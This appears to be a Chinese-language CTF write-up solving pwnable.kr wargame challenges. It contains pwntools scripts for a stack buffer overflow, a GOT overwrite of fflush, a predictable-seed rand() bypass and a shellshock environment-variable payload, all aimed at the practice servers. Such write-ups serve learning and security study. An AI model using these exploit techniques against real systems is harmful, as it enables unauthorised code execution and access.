Try   HackMD

pwnable.kr Write Up

tags: CTF

0. fd

  • 原始碼
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • read(fd, *buf, size):
    • fd(file descriptor)
      • 0: stdin(standard input: 從鍵盤輸入)
      • 1: stdout
      • 2: stderr
  • 目標: 讓fd = 0,讓read可以順利再讀取"LETMEWIN"到buf中
    • 使argv爲0x1234即可,轉爲十進制是4660
    • atoi = 字符轉為integer
  • 在terminal輸入"./fd 4660"後可以再輸入一行(就是要放進buf的東西),輸入"LETMEWIN"並送出就可以獲得flag
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

1. Collision

  • 原始碼
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • check_password(..20byte..): 會把20byte拆成5個int相加,只要等於hashcode(= 0x21DD09EC)就會噴flag
    Note: python *-c* <command>: 表示輸入command執行後的結果
    • 想法1: 0x0+0x0+0x0+0x0+0x21DD09EC
      -
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 想法2: 0x01010101 * 4 + 0x1dd90518
      -
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 想法1不成功的原因是因為0x00會被視為空字元,因此我們以為輸了20byte,其實只收到0x21DD09EC
      • EX. 實際輸入22byte,但依然會成功(因為2個0x00被視為空字元)
        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →

        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →

2. bof

  • 原始碼

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

  • 只要讓key變成0xcafebabe即可:

    • gets()不會檢查輸入長度,有bof漏洞
  • 開 gdb

    • 斷點下在call gets的地方候用ni,並輸入aaa,a的ascii是61,因此知道overflowme會從0xbffff4cc開始寫
    • 且0xbffff500就是0xdeadbeef位置,也就是我們要overflow成0xcafebabe的目標
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • junk共有: 0xbffff500 - 0xbffff4cc = 0x34 == 52個byte

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Note: 'cat -'的作用是防止shell馬上被關掉,保持跟shell的連線

  • 也可以用pwntool

    ​​​​from pwn import * ​​​​#r = process("/media/sf_CTF/pwnable.kr/bof/bof") ​​​​r = remote('pwnable.kr', 9000) ​​​​gdb.attach(r) ​​​​r.recvuntil('overflow me :') ​​​​payload = flat('A'*52, 0xcafebabe) ​​​​r.sendline(payload) ​​​​r.interactive()

3.flag

  • 先執行一次

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

  • 題目說了這是個reverse題,所以丟進ida

    • shift + f12先看字串

      • 看到upx?
        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →
      • hex裡面也可以看到這支程式被upx加殼惹
        Image Not Showing Possible Reasons
        • The image file may be corrupted
        • The server hosting the image is unavailable
        • The image path is incorrect
        • The image format is not supported
        Learn More →
    • UPX是很簡單的殼,總之先脫殼(upx -d即可, -o可指定output file name)

      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →

  • 脫殼之後的程式丟進ida就顯而易見了

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    • sub_400320不確定是什麼就丟進gdb跑跑看(會jmp到某個offset)
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
    • 但其實沒差,點ida上的flag就可以找到flag惹
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →

4.passcode

  • 先執行一次

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

  • 總之先把檔案從遠端載下來(scp可以幫忙 -P port no:/remote_path /local_path)

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

  • 原始碼

#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); //scanf用法錯誤,passcode前面沒有'&' fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); //一樣沒有& printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
  1. 第9&14行的scanf沒有&(正常應該是類似scanf('%d', &a)),也就是說scanf其實完全無法寫入passcode,而是會把指到passcode的位址上的垃圾(之前stack的殘留物)當作passcode繼續執行
  2. 第17行: passcode1 = 338150 = 0x528e6
    passcode2 = 13371337 = 0xcc07c9
  3. 第37&38行,先執行welcome在執行login,而且中間沒有多餘的操作,也就是說,這兩個function一開始執行的esp & ebp一樣
    • welcome()執行前的esp & ebp
    • login()執行前的esp & ebp
  • 直覺想法是用welcome()寫入name的buffer來操控login的passcode值,gdb看一下會發現name會被寫在0xffffd3f8,而且可以寫100byte

    • scanf('%d', passcode1):
      ebp-0x10=0xffffd458中的值會被當作passcode1要被寫入的位址,以下圖的例子就是passcode1會被寫成0xf7e4636b(這個值純粹是stack上的垃圾,所以如果這個值是不可寫的地址就會crash)
    • 也就是說,要想辦法在welcome()去把0xffffd458蓋成0x528e6
    • 同理,也要把passcode2 = ebp-0xc = 0xffffd45c蓋成0xcc07c9
    • 但welcome()的name只寫100byte(0x64),蓋到passcode1需要0x60+4byte沒問題,但無法蓋到passcode2(0x60+4+4)QQ
  • 第一種想法行不通,但用welcome()去蓋passcode的想法應該是對的,這時check一下保護機制看有沒有啥靈感

    1. Partial RELRO表示Link map不可寫,但GOT可寫
    2. 有Canary, stack有開NX,表示stack無法執行shellcode
    3. 沒有開PIE,表示code段跟data段固定

    • passcode1跟2最大的區別在於scanf passcode1之後做了一個fflush(),login()裡面直接執行system("/bin/cat flag"),因為沒有PIE,所以這個system("/bin/cat flag")的位址固定
      • call library時,會跳到plt,再從plt跳到GOT table中對應的位置(以下圖為例就是0x804a004)

        也可以用objdump -R passcode查看
      • system("/bin/cat flag")的位址用objdump查看,0x80487af是"/bin/cat flag"字串的所在位址
    • 目標是把fflush()在GOT的位址(0x804a004)hijack成system("/bin/cat flag")的位址(0x80485e3)
      • scanf("%d", passcode1)時會把ebp-0x10上的值當作輸入寫入的地方,所以在這之前(welcome()階段)要把ebp-0x10覆寫成fflush()的GOT位址
      • 執行scanf(.., passcode1)時輸入0x80485e3,這樣就完成GOT的hijack(但scanf("%d"),所以要記得轉成str去放)
      • 最後執行到fflush()時,實際上是執行0x80485e3的指令
  • sol.py

    ​​​​from pwn import * ​​​​ ​​​​s = ssh(host = 'pwnable.kr', user = 'passcode', port = 2222, password = 'guest') ​​​​r = s.process('./passcode') ​​​​#r = process("/media/sf_CTF/pwnable.kr/4_passcode/passcode") ​​​​#gdb.attach(r) ​​​​fflush_got = 0x804a004 ​​​​sys_cat_flag = 0x80485e3 ​​​​payload = flat('A'*0x60, fflush_got, str(sys_cat_flag)) ​​​​ ​​​​r.sendline(payload) ​​​​#welcome只會吃到fflush_got,str(sys_cat_flag)會被放在stdin中, ​​​​#login執行scanf時不需要輸入就會直接先吃進去stdin的東西 ​​​​r.interactive()

    • 如果要用gdb試可以:
      ​​​​​​​​printf 'a%.0s' {1..96} > /tmp/testing
      ​​​​​​​​echo '\x04\xa0\x04\x08' >> /tmp/testing
      ​​​​​​​​echo '134514147' >> /tmp/testing
      ​​​​​​​​再去gdb: r < /tmp/testing
      

5. random

  • src code
#include <stdio.h> int main(){ unsigned int random; random = rand(); // random value! unsigned int key=0; scanf("%d", &key); if( (key ^ random) == 0xdeadbeef ){ printf("Good!\n"); system("/bin/cat flag"); return 0; } printf("Wrong, maybe you should try 2^32 cases.\n"); return 0; }
  • 想法:
    1. 把rand()得到的值跟輸入的key做xor等於0xdeadbeef就可以得到flag

    2. 漏洞在於rand()如果沒有先用srand()傳入seed(就相當於每次都是用srand(1))
      每次執行的結果其隨機數列順序會相同

      image

    3. 所以只要先執行一次看rand()的回傳值(rax)就可以知道random的值
      再把random ^ 0xdeadbeef就是key!!

      • random = 0x6b8b4567 (即上面第一個產生的1804289383)
      • 0x6b8b4567 ^ 0xdeadbeef = 0xB526FB88 = (int)3039230856

6. input

  • input.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <arpa/inet.h> int main(int argc, char* argv[], char* envp[]){ printf("Welcome to pwnable.kr\n"); printf("Let's see if you know how to give input to program\n"); printf("Just give me correct inputs then you will get the flag :)\n"); // argv if(argc != 100) return 0; if(strcmp(argv['A'],"\x00")) return 0; //argv[65] if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0; //argv[66] printf("Stage 1 clear!\n"); // stdio char buf[4]; read(0, buf, 4); //stdin if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0; read(2, buf, 4); //stderr if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0; printf("Stage 2 clear!\n"); // env if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0; printf("Stage 3 clear!\n"); // file FILE* fp = fopen("\x0a", "r"); if(!fp) return 0; if( fread(buf, 4, 1, fp)!=1 ) return 0; if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0; fclose(fp); printf("Stage 4 clear!\n"); // network int sd, cd; struct sockaddr_in saddr, caddr; sd = socket(AF_INET, SOCK_STREAM, 0); if(sd == -1){ printf("socket error, tell admin\n"); return 0; } saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = INADDR_ANY; saddr.sin_port = htons( atoi(argv['C']) ); if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ printf("bind error, use another port\n"); return 1; } listen(sd, 1); int c = sizeof(struct sockaddr_in); cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); if(cd < 0){ printf("accept error, tell admin\n"); return 0; } if( recv(cd, buf, 4, 0) != 4 ) return 0; if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; printf("Stage 5 clear!\n"); // here's your flag system("/bin/cat flag"); return 0; }
  • stage1

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    argv

    • 通過條件
      1. arg數量(argc)為100
      2. argv[65] = argv['A'] = '\x00'
      3. argv[66] = argv['B'] = '\x20\x0a\x0d'
    • 解法
      ​​​​​​​​from pwn import *
      ​​​​​​​​
      ​​​​​​​​argvs = ['' for i in range(100)]
      
      ​​​​​​​​argvs[0] = './input'        #path
      ​​​​​​​​argvs[65] = '\x00'          #argv['A']
      ​​​​​​​​argvs[66] = '\x20\x0a\x0d'  #argv['B']
      ​​​​​​​​
      ​​​​​​​​r = process(argv = argvs)
      ​​​​​​​​r.interactive()
      
    • 執行結果
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • stage2

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    stdio

    • 通過條件
      • stdin(0)裡面前4byte為\x00\x0a\x00\xff
      • stderr(2)裡面前4byte為\x00\x0a\x02\xff
    • 解法
      ​​​​​​​​stdinfd = open('./stdin', 'w+') #w+:如果存在此檔案就寫入 不存在就創建此檔並寫入
      ​​​​​​​​stdinfd.write('\x00\x0a\x00\xff')
      ​​​​​​​​stdinfd.seek(0) #移動文件讀取指針到開頭
      ​​​​​​​​
      ​​​​​​​​stderrfd  = open('./stderr', 'w+')
      ​​​​​​​​stderrfd.write('\x00\x0a\x02\xff')
      ​​​​​​​​stderrfd.seek(0)
      ​​​​​​​​
      ​​​​​​​​r = process(argv = argvs, stdin = stdinfd, stderr = stderrfd)
      
    • 執行結果
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • stage3 :right_arrow: env

    • 通過條件
      • 存在名為'\xde\xad\xbe\xef'的環境變數且值為'\xca\xfe\xba\xbe'
    • 解法
      ​​​​​​​​env = {'\xde\xad\xbe\xef' : '\xca\fe\xba\xbe'}
      ​​​​​​​​
      ​​​​​​​​process(argv = argvs, stdin = stdinfd, stderr = stderrfd, env = env)
      
    • 執行結果
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • stage4

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    file

    • 通過條件
      • 有個叫'\x0a'的檔案,前4byte為\x00\x00\x00\x00
    • 解法
      ​​​​​​​​with open('./\x0a', 'wb') as fd:
      ​​​​​​​​    fd.write('\x00\x00\x00\x00')
      
    • 遇到的問題
      '\x0a'在本地端無論怎麼試都無法創造這樣檔名的檔案
      於是嘗試直接在input2@pwnable.kr直接試
      但因為/home/input2這個資料夾被設定為不可寫
      最後只好把'\x0a'放在/tmp/test底下
      也只能整個sol都改成在/tmp/test底下執行
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • stage5

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    network

    ​​​​// network ​​​​int sd, cd; ​​​​struct sockaddr_in saddr, caddr; ​​​​sd = socket(AF_INET, SOCK_STREAM, 0); ​​​​if(sd == -1){ ​​​​ printf("socket error, tell admin\n"); ​​​​ return 0; ​​​​} ​​​​saddr.sin_family = AF_INET; ​​​​saddr.sin_addr.s_addr = INADDR_ANY; //任意本地 IP 位址 通常是0x00000000 允許伺服器接受來自所有網路介面的連線 ​​​​saddr.sin_port = htons( atoi(argv['C']) ); //取argv[67]的值為port號 ​​​​if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){ ​​​​ printf("bind error, use another port\n"); ​​​​ return 1; ​​​​} ​​​​listen(sd, 1); ​​​​int c = sizeof(struct sockaddr_in); ​​​​cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c); ​​​​if(cd < 0){ ​​​​ printf("accept error, tell admin\n"); ​​​​ return 0; ​​​​} ​​​​if( recv(cd, buf, 4, 0) != 4 ) return 0; ​​​​if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0; ​​​​printf("Stage 5 clear!\n");
    • 通過條件:

      • 開啟一個tcp監聽port(port號由argv['c']傳入)
      • 向這個port發送"\xde\xad\xbe\ef"
    • 解法

      ​​​​​​​​argvs[67] = 6666
      ​​​​
      ​​​​​​​​... #要先執行process()讓監聽port開啟
      ​​​​​​​​
      ​​​​​​​​conn = remote('localhost', 6666)
      ​​​​​​​​conn.sendline('\xde\xad\xbe\xef')
      ​​​​​​​​
      
  • 但因為/tmp/test下沒有flag, 因此使用軟連結將/home/input2/flag連結到此目錄下
    ln -s /home/input2/flag flag

  • 最後結果

    Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

    ​​​​from pwn import * ​​​​import os ​​​​# stage 1 ​​​​argvs = ['' for i in range(100)] ​​​​argvs[0] = '/home/input2/input' ​​​​argvs[65] = '\x00' ​​​​argvs[66] = '\x20\x0a\x0d' ​​​​# stage 2 ​​​​r_stdin, w_stdin = os.pipe() ​​​​r_stderr, w_stderr = os.pipe() ​​​​os.write(w_stdin, b'\x00\x0a\x00\xff') ​​​​os.write(w_stderr, b'\x00\x0a\x02\xff') ​​​​# stage 3 ​​​​env = {'\xde\xad\xbe\xef': '\xca\xfe\xba\xbe'} ​​​​# stage 4 ​​​​with open('\x0a', 'w') as f: ​​​​ f.write('\x00\x00\x00\x00') ​​​​# stage 5 ​​​​argvs[67] = '6666' ​​​​r = process(argv = argvs, ​​​​ stdin = r_stdin, stderr = r_stderr, ​​​​ env = env) ​​​​conn = remote('localhost', 6666) ​​​​conn.sendline(b'\xde\xad\xbe\xef') ​​​​r.interactive()

7. leg

  • ARM指令集&THUMB指令集切換

    1. ARM指令會對齊4byte, THUMB對齊2byte
    2. ARM的bx (Branch and Exchange)指令可以執行跳轉, 如果跳轉位址LSB(least significant bit)
      • LSB=0 > ARM模式
      • LSB=1 > THUMB模式
    3. blx也可以執行跳轉,與上面不同的是, blx會保存return address到LR(Link Register)暫存器
    4. ARM中有6個狀態暫存器,其中CPSR的T(Thumb)位控制模式
      • 當使用bxblx執行跳轉之後,會設置T位
        • LSB=0 > ASM模式 > T=0
        • LSB=1 > THUMB模式 > T=1
  • ARM指令集calling convention (AAPCS)

    1. 前四個參數用r0-3傳遞,後面的用stack
    2. 返回值放在r0
    3. SP(stack ptr)為r13
    4. LR(link Reg)為r14
  • ARM的pipeline

    • 因為ARM指令地址為4byte對齊,可以用Pipeline提高執行效率

    • 分成多個pipe (以4個pipe為例fetch > decode > execute > write)

      \時間 t5 t4 t3 t2 t1
      指令3 (x+8) fetch decode execute
      指令2 (x+4) fetch decode execute
      指令1(x) fetch decode execute
    • pc指向fetch階段的指令.因此,當指令1正在execute階段時, 此時pc應該為指令3的位址 (即實際正在的指令1的位址+8)

  • 分析

    1. 通過條件為 key1()+key2()+key3() == key, 其中key為輸入值

    2. key1()的asm > key1 = 0x8ce4

      ​​​​​​​0x00008cd4 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
      ​​​​​​​0x00008cd8 <+4>:	add	r11, sp, #0
      ​​​​​​​0x00008cdc <+8>:	mov	r3, pc         ; r3 = 0x8ce4 (pc指向下2個指令地址)
      ​​​​​​​0x00008ce0 <+12>:	mov	r0, r3         ; r0 = 0x8ce0 (note: r0為返回值)
      ​​​​​​​0x00008ce4 <+16>:	sub	sp, r11, #0
      ​​​​​​​0x00008ce8 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
      ​​​​​​​0x00008cec <+24>:	bx	lr
      
    3. key2() > key2 = 0x8d0c

      ​​​​​​​​0x00008cf0 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
      ​​​​​​​​0x00008cf4 <+4>:	add	r11, sp, #0
      ​​​​​​​​0x00008cf8 <+8>:	push	{r6}		; (str r6, [sp, #-4]!)
      ​​​​​​​​0x00008cfc <+12>:	add	r6, pc, #1     ; r6 = 0x8d00+1
      ​​​​​​​​0x00008d00 <+16>:	bx	r6             ;切換成thumb模式 (LSB=1)
      ​​​​​​​​0x00008d04 <+20>:	mov	r3, pc         ; r3 = 0x8d08
      ​​​​​​​​0x00008d06 <+22>:	adds	r3, #4         ; r3 = 0x8d0c
      ​​​​​​​​0x00008d08 <+24>:	push	{r3}
      ​​​​​​​​0x00008d0a <+26>:	pop	{pc}           ; pc = 0x8d0c
      ​​​​​​​​0x00008d0c <+28>:	pop	{r6}		; (ldr r6, [sp], #4)
      ​​​​​​​​0x00008d10 <+32>:	mov	r0, r3         ; r0=0x8d0a
      ​​​​​​​​0x00008d14 <+36>:	sub	sp, r11, #0
      ​​​​​​​​0x00008d18 <+40>:	pop	{r11}		; (ldr r11, [sp], #4)
      ​​​​​​​​0x00008d1c <+44>:	bx	lr
      
    4. key3() > key3 = 0x8d80

      ​​​​​​​0x00008d20 <+0>:	push	{r11}		; (str r11, [sp, #-4]!)
      ​​​​​​​​0x00008d24 <+4>:	add	r11, sp, #0
      ​​​​​​​​0x00008d28 <+8>:	mov	r3, lr         ; r3=lr=返回地址=main中bl key3的下一個指令位址=0x8d80
      ​​​​​​​​0x00008d2c <+12>:	mov	r0, r3
      ​​​​​​​​0x00008d30 <+16>:	sub	sp, r11, #0
      ​​​​​​​​0x00008d34 <+20>:	pop	{r11}		; (ldr r11, [sp], #4)
      ​​​​​​​​0x00008d38 <+24>:	bx	lr
      
    5. 因此key應該為0x8ce4+0x8d0c+0x8d80 = 0x1A770 = 108400

      image

7. mistake

  • 提示為: Operator Priority

    • main程式碼中這一段, 因為"<"的執行優先於"=",因此會先執行 open("/home/mistake/password",O_RDONLY,0400) < 0的判斷,
      而只要檔案存在, fd必定>0,因此判斷結果為false(即0)
      故後續=行為中fd被賦值為0

      ​​​​​​​​if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)     {
      ​​​​​​​​    printf("can't open password %d\n", fd);
      ​​​​​​​​    return 0;
      ​​​​​​​​}
      
    • fd=0代表為標準輸入,即由標準輸入中讀取10byte > 因此password可控

  • 分析: 後續由xor()程式碼分析可知為所有byte對1做xor

    • eg. 1111111111 ^ 0000000000 = 111111111
      image

8. shellshock

#include <stdio.h> int main(){ setresuid(getegid(), getegid(), getegid()); setresgid(getegid(), getegid(), getegid()); system("/home/shellshock/bash -c 'echo shock_me'"); return 0; }
  • Linux process的UID

    1. ruid (real uid) : 創建該process的user id
    2. euid (effective uid) : 該process的存取權限(通常=ruid)
    3. suid (saved set-user-ID) : 用來保存process之前的euid,以便於改變權限之後恢復
      • != 文件的SUID (set user id) : 該檔案開放的存取權限
        如果執行檔設置了suid,則所有user都可以透過執行這個檔案獲得root權限
        • eg: passwd指令設置了suid (x位被設置成s), 因此當user以普通user權限執行passwd時, shell fork出一個subprocess, 而因為/usr/bin/passwd設置了suid, 因此subprocess會獲得root權限,因此可以修改/etc/shadow這個原本只能由root修改的檔案
          image
  • setresuid(): 在process執行過程中動態的改變process的ruid, euid, suid

    1. 如果執行Process的euid為root(=0),可以設置成任何id
    2. 如果執行Process的euid不是root,只能將id設置為(ruid, euid, suid其中之一)
      eg: 假設ruid=100, euid=300, suid=200
      執行setresuid(200, 300, 100) > ruid=200, euid=300, suid=100
      執行setresuid(200, 300, 400) > 不成功, 維持ruid=100, euid=300, suid=200 (因為400不是其中一個id)
      image
  • Shellshock漏洞: bash中的漏洞,可以透過bash初始化環境變數執行任意命令

    • bash允許通過環境變數傳遞函數定義, 但並未檢查函數結束之後有無額外的指令

    • eg.

      ​​​​​​​​$ export myEnv= '() { :; }; echo "Vulnerable to shellshock"' ​​​​​​​​$ bash -c "echo test" ​​​​​​​​# result # ​​​​​​​​ Vulnerable to shellshock ​​​​​​​​ test

      其中()表示函數開始, {:;}是一個空操作的函數定義

      • 第二行bash -c會fork出一個child process, 會繼承Parent process的環境變數
      • 因此當初始化環境變數時,child process會識別到myEnv是一個函數並嘗試解析其內容,而漏洞影響一併執行後續的惡意指令
    • shellshock的修復方式: 檢查函數定義結束後是否還有額外代碼,如果有就reject其執行

  • 題目分析

    1. 這些檔案的權限如下,並且可以知道使用者是shellshock這個group, 不可以讀flag(因為其他人無權限)

      • 但同群組權限為可讀 > 可以透過shellshock開啟
        image
    2. shellshock.c告訴我們當shellshock被執行時,其所有id及gid會被修改成shellshock_pwn (原本應該是shellshock)

  • 解法:

    1. 由shellshock權限的user定義一個函數塞進環境變數, 此環境變數定義的函數功能要包含讀取flag(cat ./flag)
    2. ./shellshock
      1. shellshock的euid被設置成shellshock_pwn
      2. 環境變數x被解析,執行後面的/bin/cat ./flag
        • note: 必須指定cat檔案位置不然會找不到執行檔

    image

9. coin1

  • nc連接之後是一個遊戲:

    • 有N枚硬幣,其中一個是假幣,要在C次秤重內找到假幣的index, 共有100輪, 需要在60秒內完成
      image
  • 使用binary search

    ​​​​from pwn import * ​​​​# r = remote('pwnable.kr', 9007) ​​​​# 遠端連線發現太慢...所以用之前的憑證登入並在`/tmp`下創建資料夾並改用localhost連線 ​​​​r = remote('localhost', 9007) ​​​​r.recvuntil('- Ready? starting in 3 sec... -') ​​​​for i in range(100): ​​​​ r.recvuntil('N=') ​​​​ inf = r.recvline().decode('utf-8').strip().split(" C=") ​​​​ N = int(inf[0]) ​​​​ C = int(inf[1]) ​​​​ print("[Round {}] N={}, C={}".format(i+1, N, C)) ​​​​ start = 0 ​​​​ end = N ​​​​ for _ in range(C): ​​​​ if (start == end) : ​​​​ print("* Correct Ans is {}".format(int(start))) ​​​​ break ​​​​ mid = (start + end)//2 ​​​​ idx_str = ' '.join(str(i) for i in range(start, mid+1)) ​​​​ r.sendline(idx_str) ​​​​ weight = int(r.recvline()) ​​​​ print("- Weight for idx from {} to {} is {}".format(start, mid, weight)) ​​​​ if (weight & 1 != 0): ​​​​ end = mid ​​​​ else: ​​​​ start = mid + 1 ​​​​ r.sendline(str(start)) ​​​​ print(r.recvline()) ​​​​r.interactive()

    image
    image

10. blackjack

  • 是一個blackjack遊戲, 原始碼在這

  • 進入遊戲隨便玩一下會發現dealer同一局的total增加值經常相同

    image
    image

  • 看原始碼發現其中產生隨機牌的clubcard()function中使用srand(time(null))來產生隨機數

    • time(null)返回的是當前時間距離POSIX 時間(Unix Epoch)的秒數。POSIX 時間的起始點是1970 年 1 月 1 日 00:00:00(UTC),並且其時間解析度只有一秒(表示最小單位是一秒)
    • 因此在同一秒內,time(null)值相同,srand()在種子相同時會產生相同的結果,造成一秒內產生的隨機數會相同
  • 問題是在玩遊戲過程中還是無法掌握正確的隨機數而且選擇需要時間

  • 題目提示: 要一百萬才可以獲得flag

    • 再看原始碼,發現betting函數中
    ​​​​ int betting() //Asks user amount to bet ​​​​{ ​​​​ printf("\n\nEnter Bet: $"); ​​​​ scanf("%d", &bet); ​​​​ if (bet > cash) //If player tries to bet more money than player has ​​​​ // 問題一: 只檢查第一次 ​​​​ // 問題二: 如果bet是負數也可以通過檢查(這樣輸掉的時候cash-bet反而可以增加錢) ​​​​ { ​​​​ printf("\nYou cannot bet more money than you have."); ​​​​ printf("\nEnter Bet: "); ​​​​ scanf("%d", &bet); ​​​​ // 沒有再檢查第二次 ​​​​ return bet; ​​​​ } ​​​​ else return bet; ​​​​} // End Function
  • 解法1: 第一次輸入正的不合法的bet,第二次直接打1百萬,並贏得遊戲

    image

  • 解法2: 第一次輸入負一百萬,並直接輸掉比賽

    image

11. lotto

  • 看原始碼, 沒有考慮使用者是否輸入重複數字,因此在兌獎環節的時候,如果輸入byte全部一樣,只要有對中其中一個就可以全中
    ​​​​// calculate lotto score ​​​​int match = 0, j = 0; ​​​​for(i=0; i<6; i++){ ​​​​ for(j=0; j<6; j++){ ​​​​ if(lotto[i] == submit[j]){ ​​​​ match++; ​​​​ } ​​​​ } ​​​​}
  • 解法: 輸入全部一樣byte(需再1-45之間),運氣好的話幾次就中了
    ​​​​from pwn import * ​​​​s = ssh(host = 'pwnable.kr', user = 'lotto', port = 2222, password = 'guest') ​​​​r = s.process('./lotto') ​​​​result = b'' ​​​​for _ in range(100): ​​​​ r.recv() ​​​​ r.sendline('1') ​​​​ r.recv() ​​​​ r.sendline('++++++') ​​​​ r.recvline() # Lotto Start! ​​​​ result = r.recvline() # bad luck... or flag ​​​​ if (b'bad' not in result): ​​​​ print(result) ​​​​ break
    image